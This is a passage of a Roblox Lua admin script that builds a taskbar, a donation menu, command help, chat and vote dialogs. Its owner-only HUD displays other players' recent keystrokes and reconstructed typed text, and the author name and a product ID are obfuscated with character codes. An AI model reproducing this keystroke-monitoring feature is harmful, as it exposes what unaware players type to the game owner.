	SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4484
	local IsMoving = false
4485
	local TaskBarShown = false
4486
	local Tasks = {}
4487
4488
	local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4489
	local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4490
	
4491
	local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4492
	local Open,CloseForm = false,nil
4493
	if Settings.EnableAdminMenu then
4494
		local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4495
		coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4496
			if Open == false then
4497
				local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4498
				Open,CloseForm = true,Close
4499
				
4500
				local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4501
				local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4502
				local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4503
				local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4504
				local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4505
				local function DonateMoney(Type, Element)
4506
					local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4507
					local Get = Request[Type]
4508
					if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4509
						Server.MPS:PromptPurchase(Player, Get[1], true)
4510
					elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4511
						Server.MPS:PromptPurchase(Player, Get[2], true)
4512
					elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4513
						Server.MPS:PromptPurchase(Player, Get[3], true)
4514
					else
4515
						Element.Text = "Cannot get request"
4516
					end
4517
				end
4518
				local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4519
				local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4520
				local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4521
				local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4522
				local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4523
				local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4524
				
4525
				if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4526
				
4527
				if Closed then
4528
					Closed.Event:connect(function()
4529
						Open = false
4530
					end)
4531
				end
4532
			else
4533
				CloseForm:Invoke()
4534
			end
4535
		end) end)()
4536
		if RANK:GetRank(Player) == "Owner" then
4537
			local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4538
			CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4539
				local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4540
				if HUDSG then
4541
					HUDSG:Destroy()
4542
				else
4543
					GUI:CreateHUD(Player)
4544
				end
4545
			end)
4546
		end
4547
	end
4548
	
4549
	CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4550
		if IsMoving == false then
4551
			if TaskBarShown == true then
4552
				TaskBarShown = false
4553
				IsMoving = true
4554
				TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4555
			else
4556
				TaskBarShown = true
4557
				IsMoving = true
4558
				TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4559
			end
4560
		end
4561
	end)
4562
	
4563
	local function ReloadIcons()
4564
		for Num,Data in pairs(Tasks) do
4565
			Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4566
		end
4567
	end
4568
	
4569
	AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4570
		local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4571
		table.insert(Tasks, {Form, Icon})
4572
		local CanClick = true
4573
		CORE:HandleEvent(Icon, "MouseButton1Down", function()
4574
			if Form.IsActive.Value == false then
4575
				Restore:Invoke()
4576
			elseif CanClick == true then
4577
				coroutine.wrap(function()
4578
					CanClick = false
4579
					local DefPos = Form.Dragger.Position
4580
					for i = 1,15 do
4581
						Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4582
						wait(0.05)
4583
					end
4584
					Form.Dragger.Position = DefPos
4585
					CanClick = true
4586
				end)()
4587
			end
4588
		end)
4589
		ReloadIcons()
4590
		
4591
		Closed.Event:connect(function()
4592
			for Num,Data in pairs(Tasks) do
4593
				if Data[1] == Form then
4594
					Icon:Destroy()
4595
					table.remove(Tasks, Num)
4596
				end
4597
			end
4598
			ReloadIcons()
4599
		end)
4600
	end)
4601
end
4602
4603
function GUI:ShowDebtStats(Player, ManualText)
4604
	local Text = ManualText
4605
	if not ManualText then
4606
		Text = "CANNOT GET STATISTICS"
4607
		local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4608
		if RawPage then
4609
			local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4610
			local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4611
			Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4612
		end
4613
	end
4614
	
4615
	local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4616
	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4617
	
4618
	return Text
4619
end
4620
4621
function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4622
	if not Player then return nil end
4623
	if not CommandTrigger then return nil end
4624
	
4625
	if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4626
	
4627
	local CommandKey = CommandTrigger
4628
	
4629
	if not Commands[CommandKey] then
4630
		for CommandNames,_ in pairs(Commands) do
4631
			for _,CommandName in pairs(CommandNames) do
4632
				if CommandName == CommandKey then
4633
					CommandKey = CommandNames
4634
				end
4635
			end
4636
		end
4637
	end
4638
	
4639
	local CommandData = Commands[CommandKey]
4640
	
4641
	local BodyText = "No valid command has been entered"
4642
	local TitleText = "Error"
4643
	local CanExe = false
4644
	if CommandData then
4645
		if Dialog then
4646
			Dialog:Invoke(true)
4647
		end
4648
		local PlayerRank = RANK:GetRank(Player)
4649
		if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4650
		if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4651
		
4652
		TitleText = "Command: "..CommandKey[1]
4653
		BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4654
 
4655
4656
Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4657
 
4658
4659
Description: ]]..CommandData[2]..[[
4660
 
4661
4662
Arguments: ]]..CommandData[3]..[[
4663
 
4664
4665
Minimum rank needed: ]]..CommandData[4]..[[
4666
 
4667
4668
Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4669
 
4670
4671
Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4672
4673
4674
Http Command ]]..STRING:BoolString(CommandData.Http)
4675
	end
4676
	
4677
	_, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4678
	if Dialog then
4679
		Closed.Event:connect(function() Dialog:Invoke(false) end)
4680
		Minimized.Event:connect(function() Dialog:Invoke(false) end)
4681
	end
4682
end
4683
4684
function GUI:CreateHUD(Speaker)
4685
	if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4686
	
4687
	local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4688
	if SG then SG:Destroy() end
4689
	SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4690
	
4691
	local function AddHUD(Player, Char)
4692
		if not Char or not Char:FindFirstChild("Head") then return nil end
4693
		
4694
		local Rank = RANK:GetRank(Player)
4695
		local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4696
		local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4697
		local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4698
		local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4699
		local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4700
		coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4701
			InfoLabel.Text = "Name: "..Player.Name..[[ 
4702
Rank: ]]..RANK:GetRank(Player)..[[ 
4703
Age: ]]..STRING:FindAge(Player.AccountAge)
4704
			if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4705
				InfoLabel.Text = InfoLabel.Text..[[ 
4706
Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4707
			end
4708
			if LastKeys[Player.UserId] then
4709
				local Keys = ""
4710
				local KeyLog = {}
4711
				for _,KeyData in pairs(LastKeys[Player.UserId]) do
4712
					table.insert(KeyLog, KeyData[1])
4713
					if KeyData[2] == 8 then
4714
						Keys = string.sub(Keys, 1, #Keys - 1)
4715
					elseif KeyData[2] == 13 then
4716
						Keys = Keys.." "
4717
					else
4718
						Keys = Keys..string.char(KeyData[2])
4719
					end
4720
				end
4721
				KeyLabel.Text = table.concat(KeyLog, "\n")
4722
				KeyOutput.Text = Keys
4723
			end
4724
			HUD.Image = "rbxassetid://"..RankHUD[Rank]
4725
		end end)()
4726
		
4727
		local CharRev,Removing = nil,nil
4728
		CharRev = Player.CharacterRemoving:connect(function()
4729
			PlayerHUD:Destroy()
4730
			CharRev:disconnect()
4731
			Removing:disconnect()
4732
		end)
4733
		Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4734
			PlayerHUD:Destroy()
4735
			CharRev:disconnect()
4736
			Removing:disconnect()
4737
		end end)
4738
	end
4739
	
4740
	local function ConnectHUD(Player)
4741
		if Player ~= Speaker then
4742
			if Player.Character then
4743
				AddHUD(Player, Player.Character)
4744
			end
4745
			
4746
			Player.CharacterAdded:connect(function(Char)
4747
				if Speaker then
4748
					AddHUD(Player, Char)
4749
				else return nil
4750
				end
4751
			end)
4752
		end
4753
	end
4754
	
4755
	for _,Player in pairs(Server.Players:GetPlayers()) do
4756
		ConnectHUD(Player)
4757
	end
4758
	
4759
	Server.Players.PlayerAdded:connect(ConnectHUD)
4760
end
4761
4762
function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4763
	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4764
	local Stopped = false
4765
	
4766
	local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4767
	Frame.Size = UDim2.new(1, 0, 1, -30)
4768
	Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4769
	
4770
	local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4771
	local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4772
	local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4773
	
4774
	local function AddLine(Speaker, MessageText, MessageColor)
4775
		MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4776
		if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4777
		if not MessageColor then MessageColor = GUI:ContrastColor() end
4778
		local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4779
		local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4780
		local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4781
		Bounds.Parent = Frame
4782
	end
4783
	
4784
	local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4785
	
4786
	local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4787
	local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4788
	local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4789
	
4790
	local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4791
	local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4792
	
4793
	CORE:ExecuteResource("MessagePromptHandler", Frame)
4794
	
4795
	wait(0.1)
4796
	
4797
	if PreAdd then
4798
		for Num,Add in pairs(PreAdd) do
4799
			AddLine(Add[1], Add[2], Add[3])
4800
		end
4801
	end
4802
	
4803
	--[[
4804
	CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4805
	
4806
	CORE:HandleEvent(ChatBox, "MouseEnter", function()
4807
		if ChatBox.Text == "Click here or press the '-' key" then
4808
			ChatBox.Text = ""
4809
		end
4810
	end)
4811
	]]
4812
	
4813
	local function FireSendPressed()
4814
		local Text = CORE:ReadProperty(RPR, Player, "Text")
4815
		if Text ~= "" and Text ~= "Click here or press the '-' key" then
4816
			SendPressed:Fire(Text)
4817
			FakeCB.Visible = true
4818
			ClearCB:InvokeClient(Player)
4819
		end
4820
	end
4821
	
4822
	Closed.Event:connect(function()
4823
		if Stopped == false then
4824
			Stopped = true
4825
			if SpeakerEvents then SpeakerEvents("Leave") end
4826
		end
4827
	end)
4828
	
4829
	CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4830
	EnterPressed.OnServerInvoke = FireSendPressed
4831
	AddMessage.OnInvoke = AddLine
4832
	
4833
	if SpeakerEvents then
4834
		SpeakerEvents("Join")
4835
	
4836
		coroutine.wrap(function()
4837
			repeat wait() until not Frame or not Frame.Parent
4838
			if Stopped == false then
4839
				Stopped = true
4840
				SpeakerEvents("Leave")
4841
			end
4842
		end)()
4843
	end
4844
	
4845
	return SendPressed, AddMessage
4846
end
4847
4848
function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4849
	if tonumber(Time) then ShowFormButtons = false end
4850
	if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4851
	local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4852
	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4853
	local Clicked = nil
4854
	local Alive = true
4855
	
4856
	local function ClosePrompt(ButtonName)
4857
		Alive = false
4858
		Close:Invoke()
4859
		Clicked = ButtonName
4860
	end
4861
	
4862
	for Num,Select in pairs(Buttons) do
4863
		local Name = Select
4864
		local Style = "White"
4865
		local TextColor3 = Color3.new(0,0,0)
4866
		if type(Select) == "table" then
4867
			Name = Select[1]
4868
			if Select[2] then Style = Select[2] end
4869
			if Select[3] then TextColor3 = Select[3] end
4870
		elseif type(Select) == "string" then
4871
			local Case = string.lower(Select)
4872
			if Case == "ok" then
4873
				Name = "Ok"
4874
				Style = "Primary"
4875
				TextColor3 = Color3.new(1,1,1)
4876
			elseif Case == "yes" then
4877
				Name = "Yes"
4878
				Style = "Gray"
4879
				TextColor3 = Color3.new(0,1,0)
4880
			elseif Case == "no" then
4881
				Name = "No"
4882
				Style = "Red"
4883
				TextColor3 = Color3.new(1,0,0)
4884
			end
4885
		end
4886
		
4887
		if Style == "None" then Style = "Custom" end
4888
		if Style == "Casual" then Style = "RobloxButton" end
4889
		if Style == "Red" then Style = "RobloxButtonDefault" end
4890
		if Style == "Gray" then Style = "RobloxRoundButton" end
4891
		if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4892
		if Style == "White" then Style = "RobloxRoundDropdownButton" end
4893
		
4894
		local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4895
		CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4896
		SOUND:BindButton(Button)
4897
	end
4898
	
4899
	if tonumber(Time) then
4900
		local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4901
		Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4902
		Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4903
		
4904
		for i = Time,0,-1 do
4905
			for ii = 1,10 do
4906
				if Alive == true then
4907
					Ticker.Text = i
4908
					wait(0.1)
4909
				else
4910
					break
4911
				end
4912
			end
4913
		end
4914
		if Alive == true then
4915
			ClosePrompt()
4916
		end
4917
	end
4918
	
4919
	repeat wait() until Alive == false
4920
	return Clicked
4921
end
4922
4923
function GUI:Vote(Speaker, Players, Text, Time)
4924
	if not Players or not Text or #Players <= 0 then return end
4925
	
4926
	local Votes = {}
4927
	local Tick = 0
4928
	
4929
	for _,Player in pairs(Players) do
4930
		local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4931
		local CanVote = true
4932
		if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4933
		if CanVote == true then
4934
			coroutine.wrap(function()
4935
				local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4936
				if Answer == nil then Answer = "Unknown" end
4937
				table.insert(Votes, Answer)
4938
			end)()
4939
		end
4940
	end
4941
	repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4942
	wait(2)
4943
	if Speaker and Speaker:FindFirstChild("PlayerGui") then
4944
		local Total = #Players
4945
		local Yes,No,Unknown = 0,0,0
4946
		for _,Vote in pairs(Votes) do
4947
			if Vote == "Yes" then Yes = Yes + 1
4948
			elseif Vote == "No" then No = No + 1
4949
			end
4950
		end
4951
		Unknown = #Players - #Votes
4952
		
4953
		local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4954
		local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4955
		local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4956
]]..Yes.."/"..Total..[[ 
4957
]]..math.ceil((Yes/Total)*100).."% "
4958
		local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4959
]]..No.."/"..Total..[[ 
4960
]]..math.ceil((No/Total)*100).."% "
4961
		local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4962
]]..Unknown.."/"..Total..[[ 
4963
]]..math.ceil((Unknown/Total)*100).."% "
4964
	end
4965
end
4966
4967
--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4968
4969
function GUI:LoadGui(Player, Text, InfoText)
4970
	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4971
	local Dead = false
4972
	
4973
	local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4974
	local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4975
